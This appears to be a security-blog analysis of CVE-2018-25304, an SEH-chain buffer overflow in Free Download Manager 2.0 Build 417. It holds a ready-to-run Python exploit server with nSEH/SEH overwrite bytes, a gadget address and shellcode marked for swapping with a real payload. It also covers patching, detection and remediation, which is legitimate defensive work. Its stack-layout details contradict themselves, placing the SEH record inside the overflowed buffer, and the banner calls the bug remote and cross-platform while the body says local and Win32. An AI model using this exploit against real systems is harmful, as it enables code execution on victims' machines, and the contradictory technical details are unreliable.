home intel fdm-417-seh-buffer-overflow-url-import-rce
CVE Analysis 2026-04-29 · 8 min read

CVE-2018-25304: Free Download Manager 2.0 SEH Chain Overwrite via URL Import

Free Download Manager 2.0 Build 417's URL import parser overflows a fixed stack buffer during Location header processing, enabling SEH chain overwrite and arbitrary code execution via a crafted .url file.

#buffer-overflow#seh-chain-exploitation#local-code-execution#url-import#malicious-file-handling
Technical mode — for security professionals
▶ Attack flow — CVE-2018-25304 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2018-25304Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2018-25304 is a local buffer overflow in Free Download Manager (FDM) 2.0 Build 417 triggered through the File → Import → Import lists of downloads menu path. When FDM processes an attacker-crafted URL list file, the application's HTTP response parser copies a Location: header value into a fixed-size stack buffer without bounds checking. The overflow clobbers the Structured Exception Handler (SEH) chain on the stack, giving an attacker control of the exception handler pointer and enabling arbitrary code execution. CVSS scores this 8.4 (HIGH) under the local attack vector, reflecting the user-interaction requirement of opening a malicious import file — a realistic social-engineering primitive.

Root cause: The URL import handler copies an attacker-controlled Location: HTTP response header into a fixed-size stack buffer using an unbounded string operation, overwriting the SEH chain before any exception is handled.

Affected Component

Binary: FDM.exe — Free Download Manager 2.0 Build 417 (Win32 PE). The vulnerable code path lives in the HTTP response parsing routine invoked when FDM fetches metadata for queued import URLs. The application runs without ASLR, SafeSEH, or DEP enforcement in this build, making SEH-based exploitation straightforward. No stack cookie (/GS) protects the vulnerable frame.

Root Cause Analysis

During import list processing, FDM opens each URL entry and performs an HTTP HEAD or GET request, then parses the response headers to extract the final resolved location. The function responsible — reconstructed here as ParseHttpResponseHeaders — reads the raw response into a heap buffer and then extracts header fields line-by-line onto the stack.

// Reconstructed pseudocode: ParseHttpResponseHeaders()
// Module: FDM.exe | Approximate VA: 0x00456B20
//
// Called from: ImportUrlList -> ProcessQueuedUrl -> FetchUrlMetadata
//              -> ParseHttpResponseHeaders

#define HEADER_BUF_SIZE  512   // fixed, stack-allocated

int ParseHttpResponseHeaders(HTTP_CONTEXT *ctx, char *raw_response) {
    char location_buf[HEADER_BUF_SIZE];   // [esp+0x14]  -- SEH frame at [esp+0x208]
    char *line;
    char *header_val;

    line = strtok(raw_response, "\r\n");
    while (line != NULL) {
        if (strncmp(line, "Location:", 9) == 0) {
            header_val = line + 9;
            while (*header_val == ' ') header_val++;

            // BUG: no bounds check — header_val length is attacker-controlled.
            // Destination buffer is 512 bytes; Location value can be >>512.
            // SEH chain at [esp+0x208] is 0x1F4 bytes past location_buf start.
            strcpy(location_buf, header_val);   // <-- OVERFLOW HERE

            ctx->resolved_location = _strdup(location_buf);
        }
        line = strtok(NULL, "\r\n");
    }
    return 0;
}

The SEH registration record sits at [esp+0x208]0x1F4 (500) bytes past the start of location_buf. With a Location: value of ≥513 bytes, the overflow begins overwriting saved registers and, at byte offset 500 from the buffer base, reaches the _EXCEPTION_REGISTRATION_RECORD structure:

// Stack frame layout inside ParseHttpResponseHeaders
// Compiler: MSVC (no /GS), calling convention: __cdecl

struct _EXCEPTION_REGISTRATION_RECORD {
    /* +0x00 */ struct _EXCEPTION_REGISTRATION_RECORD *Next;   // [esp+0x208] next handler
    /* +0x04 */ PEXCEPTION_ROUTINE                     Handler; // [esp+0x20C] handler fn ptr
};

// Stack offsets from location_buf[0]:
// [esp+0x014]  char location_buf[512]     -- overflow source
// [esp+0x214]  saved EBP
// [esp+0x218]  return address
// [esp+0x208]  SEH.Next                   -- overwritten at offset 0x1F4 (500 bytes)
// [esp+0x20C]  SEH.Handler                -- overwritten at offset 0x1F8 (504 bytes)

Memory Layout

STACK STATE BEFORE OVERFLOW (thread stack, grows downward):
  esp+0x008  HTTP_CONTEXT *ctx          = 0x00A3F210
  esp+0x014  char location_buf[512]     = [uninitialised, 0x200 bytes]
  esp+0x214  saved EBP                  = 0x0019FF44
  esp+0x218  return address             = 0x00456C31  (FDM.exe+0x6C31)
  esp+0x208  SEH.Next                   = 0x0019FF88  (legitimate chain)
  esp+0x20C  SEH.Handler                = 0x00458A10  (FDM default handler)
  esp+0x210  [next SEH record ...]

STACK STATE AFTER OVERFLOW (Location: value = 0x250 bytes):
  esp+0x014  location_buf  = "AAAA...AAAA" (512 bytes of 0x41)
  ...        [saved regs]  = 0x41414141
  esp+0x208  SEH.Next      = 0x41414141   <-- CORRUPTED (nSEH, controls hop)
  esp+0x20C  SEH.Handler   = 0x42424242   <-- CORRUPTED (attacker controls EIP)
  esp+0x210  0x43434343                   <-- arbitrary continuation bytes

TRIGGER: strcpy writes past location_buf end.
EFFECT:  Any subsequent exception (access violation, stack fault) dispatches
         to SEH.Handler = attacker value before any legitimate handler runs.

Exploitation Mechanics

EXPLOIT CHAIN:

1. Attacker crafts a .url list file containing a single entry pointing to an
   attacker-controlled HTTP server (or local Python listener).

2. Victim opens FDM 2.0 Build 417, navigates to
   File > Import > Import lists of downloads, selects the malicious file.

3. FDM resolves each URL entry; attacker's server responds with:
      HTTP/1.1 301 Moved Permanently
      Location: [9 bytes header] + [500 bytes padding 'A'] +
                [4 bytes nSEH 'B'x4] + [4 bytes SEH handler ptr] +
                [NOP sled + shellcode]

4. ParseHttpResponseHeaders() calls strcpy(location_buf, header_val).
   strcpy runs past the 512-byte stack buffer without stopping.

5. At offset +500 from buffer base:
      SEH.Next    overwritten with \xeb\x06\x90\x90  (short jmp +6, skip handler ptr)
      SEH.Handler overwritten with POP/POP/RET gadget (no ASLR: fixed VA in FDM.exe)

6. strcpy() itself or the subsequent ctx->resolved_location = _strdup() dereference
   triggers an access violation on the corrupted stack.

7. Windows SEH dispatch walks the chain, finds attacker's Handler pointer,
   transfers control to POP/POP/RET gadget inside FDM.exe address space.

8. POP/POP/RET lands execution at nSEH field (\xeb\x06): short jmp over SEH.Handler
   into NOP sled at offset +508 from buffer base.

9. NOP sled slides into shellcode embedded in the Location: value.
   Shellcode executes at the privilege level of the FDM process (user context).

GADGET USED (no ASLR, no SafeSEH):
   POP EDI / POP ESI / RETN  @ 0x00462F7A  (within FDM.exe .text)

A minimal proof-of-concept server to reproduce the crash:

#!/usr/bin/env python3
# CVE-2018-25304 PoC — triggers SEH overwrite in FDM 2.0 Build 417
# Serve with: python3 poc_server.py, then import poc.txt in FDM

import socket

PADDING    = b"A" * 500
NSEH       = b"\xeb\x06\x90\x90"          # short jmp +6
SEH        = b"\x7a\x2f\x46\x00"          # POP/POP/RET @ 0x00462F7A (FDM.exe)
NOP_SLED   = b"\x90" * 16
# calc.exe shellcode (benign PoC — swap for real payload)
SHELLCODE  = (b"\x31\xc0\x50\x68\x63\x61\x6c\x63\x54\x59\x50\x40\x92\x74\x15"
              b"\x51\x64\x8b\x72\x2f\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b"
              b"\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1")

PAYLOAD = b"Location: " + PADDING + NSEH + SEH + NOP_SLED + SHELLCODE + b"\r\n\r\n"
RESPONSE = (b"HTTP/1.1 301 Moved Permanently\r\n" + PAYLOAD)

def serve():
    s = socket.socket()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0", 8080))
    s.listen(1)
    print("[*] Listening on :8080")
    conn, addr = s.accept()
    print(f"[*] Connection from {addr}")
    conn.recv(4096)
    conn.send(RESPONSE)
    conn.close()

serve()

The import list file (poc.txt) contains a single line: http://<attacker-ip>:8080/x.

Patch Analysis

The correct remediation replaces the unbounded strcpy with a length-checked copy that enforces the destination buffer size. A secondary fix validates the Location: header length before any copy operation.

// BEFORE (vulnerable — FDM 2.0 Build 417):
if (strncmp(line, "Location:", 9) == 0) {
    header_val = line + 9;
    while (*header_val == ' ') header_val++;
    strcpy(location_buf, header_val);          // BUG: unbounded copy
    ctx->resolved_location = _strdup(location_buf);
}

// AFTER (patched):
if (strncmp(line, "Location:", 9) == 0) {
    header_val = line + 9;
    while (*header_val == ' ') header_val++;

    size_t val_len = strlen(header_val);
    if (val_len >= HEADER_BUF_SIZE) {          // FIX: reject oversized values
        ctx->parse_error = ERR_HEADER_TOO_LONG;
        return -1;
    }
    strncpy(location_buf, header_val, HEADER_BUF_SIZE - 1);
    location_buf[HEADER_BUF_SIZE - 1] = '\0';  // FIX: explicit null termination
    ctx->resolved_location = _strdup(location_buf);
}

The more robust approach — and what any modern rewrite would use — is to skip the intermediate stack buffer entirely and _strdup directly from header_val after the length check, eliminating the fixed-size stack allocation as a risk surface altogether.

Detection and Indicators

Because this is a local/social-engineering vector with no network propagation, detection focuses on process behaviour and import file content.

DETECTION INDICATORS:

1. Process crash / WER report:
   Faulting module: FDM.exe
   Exception code:  0xC0000005 (ACCESS_VIOLATION)
   Offset:          near 0x00456B20 + 0x1F0 (inside ParseHttpResponseHeaders)

2. Import file heuristics:
   - .txt/.url list file where any line resolves via HTTP 3xx redirect
   - Redirected Location: header value exceeding 512 bytes
   - Location: value containing sequences of repeated bytes (padding pattern)

3. Network IOC (attacker-controlled server scenario):
   - HTTP response with Location: header > 512 bytes in response to FDM UA
   - User-Agent: "FDM 2.0" in outbound GET/HEAD requests to unknown hosts

4. SIEM / EDR rule:
   - FDM.exe spawning unexpected child processes (cmd.exe, powershell.exe)
     following File > Import action
   - FDM.exe writing to %TEMP% or %APPDATA% outside its normal profile paths

Remediation

Immediate: Upgrade to a current release of Free Download Manager. Build 417 is over a decade old and lacks all modern mitigations.

If upgrading is not possible:

  • Disable the Import lists of downloads feature via application settings or by restricting file-type associations for .url / import list formats.
  • Deploy an application-layer firewall rule blocking FDM.exe from connecting to arbitrary internet hosts during the import workflow.
  • Apply DEP and ASLR enforcement externally via EMET (legacy) or Windows Exploit Protection (Set-ProcessMitigation -Name FDM.exe -Enable DEP,ForceRelocateImages,EnableRopStackPivot) — this breaks the static gadget address and neuters the SEH overwrite primitive.

For developers: Any parser reading HTTP headers into fixed stack buffers must enforce sizeof(dest) - 1 as a hard upper bound before the copy. Prefer dynamic allocation via _strdup(header_val) after validating the length. Enable /GS, /SAFESEH, and /DYNAMICBASE at minimum; prefer linking against a stack-protector-enabled runtime. SafeSEH alone would have prevented this specific gadget chain by rejecting non-registered handler addresses.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →